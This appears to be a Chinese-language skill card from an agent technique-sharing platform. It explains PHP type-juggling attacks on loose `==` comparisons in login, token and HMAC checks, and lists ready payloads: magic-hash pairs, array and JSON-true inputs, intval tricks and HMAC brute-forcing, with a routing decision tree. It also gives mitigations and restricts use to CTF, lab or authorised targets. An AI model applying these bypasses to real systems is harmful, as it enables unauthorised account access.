其他
PHP 认证/HMAC/令牌使用 `==`…
当 PHP 登录、令牌或 HMAC/签名校验使用 `==` 等松散比较而非 `===`/`hash_equals()` 时,用类型强制转换证明不等值可被判为相等。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
PHP 认证/HMAC/令牌使用 `==通用
解决思路
- 先确定目标:不要猜真实密码/密钥,而是证明服务端分支会因类型强制转换把不相等的 secret/token 判为相等。
- 先发送首轮 payload 测试认证/令牌形态:`password[]=x`、`password=`、`0`、`0e12345`、`240610708`、`QNKCDZO`、`true`、`[]`、`{"password":true}`、`admin%00`。
- 在本地或实验环境用 `php -r` 做最小探针,并尽量在目标 PHP 大版本运行:`var_dump('0e123' == '0e999');`、`var_dump('123a' == 123);`、`var_dump(md5('240610708') == md5('QNKCDZO'));`。
- 按线索路由:源码用 `==` 比较密码、令牌或 HMAC 值 → 看第 1-3 节;`md5($a) == md5($b)` 或松散 `sha1` 比较 → 看 magic hashes;`hash_hmac(...) != '0'` 或与 `'0'` 比较 → 看 HMAC 绕过;`strcmp`、`json_decode(..., true)`、`intval` → 看第 5 节。
- 检查是否使用 `===` 或 `hash_equals()`;若已使用,通常停止,此路径大概率不适用。
- 用 `==` 真值表判断类型杂耍:`'0010e2' == '1e3'` 为 true(都按浮点解析为 1000.0);`'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` 为 true(都解析为 0.0);`'123a' == 123` 为 true(字符串转 int 停在非数字);`'abc' == 0` 在 PHP 7.x 及更早为 true;`'' == 0`、`'' == false`、`false == NULL`、`0 == false`、`'' == 0 == false == NULL` 为 true;`'0' == false` 为 true;`'php' == 0` 在 PHP 8+ 为 false。
- 记录 PHP 版本:从 headers、`X-Powered-By` 或指纹判断;PHP 7 可用的 payload 可能在 PHP 8 失败。PHP 8 中 `0 == 'foo'` 为 false;`md5([])`/`sha1([])` 会抛 TypeError(旧版可能警告或表现为 NULL)。
- 防御/验证时使用安全替代:`hash_equals((string)$expected, (string)$actual);` 或 `$expected === $actual;`。
- 当两侧都是形如 `^0e[0-9]+$` 的十六进制外观哈希字符串时,利用 magic hash:PHP 把它们当科学计数法浮点数 → 0.0,因此两个不同摘要也可 `==` 为 true。
- 使用已知 magic hash 对:MD5 输入 `240610708` → `0e462097431906509019562988736854`;MD5 输入 `QNKCDZO` → `0e830400451993494058024219903391`;SHA-1 输入 `10932435112` → `0e07766915004133176347055865026311692244`。SHA-224/256 同样找 `^0e[0-9]+$` 形式的摘要。
- 针对 `if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b'])` 模式,发送 `?a=240610708&b=QNKCDZO`。
- 对 SHA-224/256 等更长哈希,把它当搜索问题:暴力枚举输入直到摘要匹配 `^0e[0-9]+$`,再取两个不同输入配对;哈希越长越难,MD5/SHA1 示例是常用教学集。
- HMAC 绕过:若逻辑用松散比较对常量,如 `if (hash_hmac('md5', $data, $key) != '0')` 或 `== 0`、`== false`、与字符串 `'0e...'` 比较,则暴力枚举 `$data`(如 timestamp、nonce、counter),直到 `hash_hmac` 输出匹配 `^0e[0-9]+$`(针对 MD5 输出)或匹配代码的具体松散规则。
- HMAC 暴力枚举示例:对 Unix 时间戳、递增 id、毫秒时钟等消息,从 T0 到 T1 尝试 `t`,若 `hmac_md5(str(t), key)` 匹配 `^0e[0-9]+$` 则使用该 `t`。注意:教程常引用 `1539805986` → `0e772967136366835494939987377058`,但 `md5('1539805986')` 在 stock PHP 中不产生该摘要;应使用扫描时间戳/计数器的思路,并始终针对目标代码中确切函数+密钥验证。
- HMAC 无密钥时:如果 oracle 可见且算法/输出可见,仍可能只暴力 `$data`;CTF 中常泄露或固定 key。
- HMAC 缓解:使用 `hash_equals($mac, $expected)` 加固定长度 hex/binary 编码;绝不把 HMAC 与裸 `'0'` 比较。
- NULL juggling:利用无效类型使比较的一侧为 `NULL`;若错误处理器或 wrapper 把失败转成 `NULL`,则 `NULL == NULL` 或另一侧也为 NULL 时可能通过。
- 检查 `md5([])`/`sha1([])` 行为:PHP 8 抛 TypeError,旧版可能警告/跨版本不可靠;审计时找 `@`、自定义 `try/catch` 把 hash 设为 `null`,或把用户输入传到需要 string 的位置。
- `strcmp`/`strcasecmp` + 数组:`strcmp([], 'password')` 在 PHP 7/8 返回 NULL;若代码 `if (strcmp($_GET['p'], $secret) == 0)`,则 `NULL == 0` 松散比较为 true;发送 `?p[]=1`。
- `intval` 绕过:`intval('0x1A', 0)` → 26;`intval('010', 0)` → 8(经典教学例,需在目标 PHP 确认);`intval((float) '1e2')` → 100。发送 `?id=0x1A`、`?id=010`、`?id=1e2`。
- `json_decode` + `true` 关联数组认证:发送 `{"password": true}`;若 `$j = json_decode($input, true); if ($j['password'] == $stored_string)`,则 `true == 'nonempty'` 常为 true,按 PHP 松散规则判断。
- `is_numeric` + 松散比较:`is_numeric('0e12345')` 为 true;`'0e12345' == 0` 为 true(科学计数法 → 0.0)。
- 反序列化 + 魔术属性:将用户输入 `unserialize` 成对象,让 `__toString` 或属性流入 `md5($obj)` 或松散比较;在属性上组合 magic hash 字符串(CTF)。发现 `unserialize($_...)` 靠近对哈希的 `==` 时重点检查。
- 按决策树路由:PHP 松散比较或 hash == hash?先看是否用 `===` 或 `hash_equals`,若是则大概率 STOP;否则看操作数类型:两个数字字符串 `0e...` → MAGIC HASH COLLISION;一个 int 与一个 string → STRING/INT JUGGLING;两个哈希摘要都 `0e[0-9]+` → MAGIC HASH (md5/sha1/…);HMAC/MAC 与 `'0'` → 暴力 `$data` 找 `0e...` 摘要;数组/json true/`strcmp([])` → 对应 CTF 模式。
- 工具使用:本地 `php` CLI 复现目标大版本的 `==` 行为;静态代码审查 grep 加密输出上的 `==`、`!=`,找缺失的 `hash_equals`;CTF 框架用于生成 magic hash 和 `0e` 搜索 payload。
- 安全范围:只在授权目标(CTF、实验环境、书面许可)使用;该技能解释语言语义用于防御和评估,不授权未同意攻击系统。
适用边界 · 注意事项
- 逻辑已经使用 `===` 或 `hash_equals()` 做严格比较时,通常不适用。
- 目标不是 PHP 或无法影响比较操作数类型时,类型杂耍不适用。
- 未获得授权的真实系统不要使用;仅限 CTF、实验环境或书面许可场景。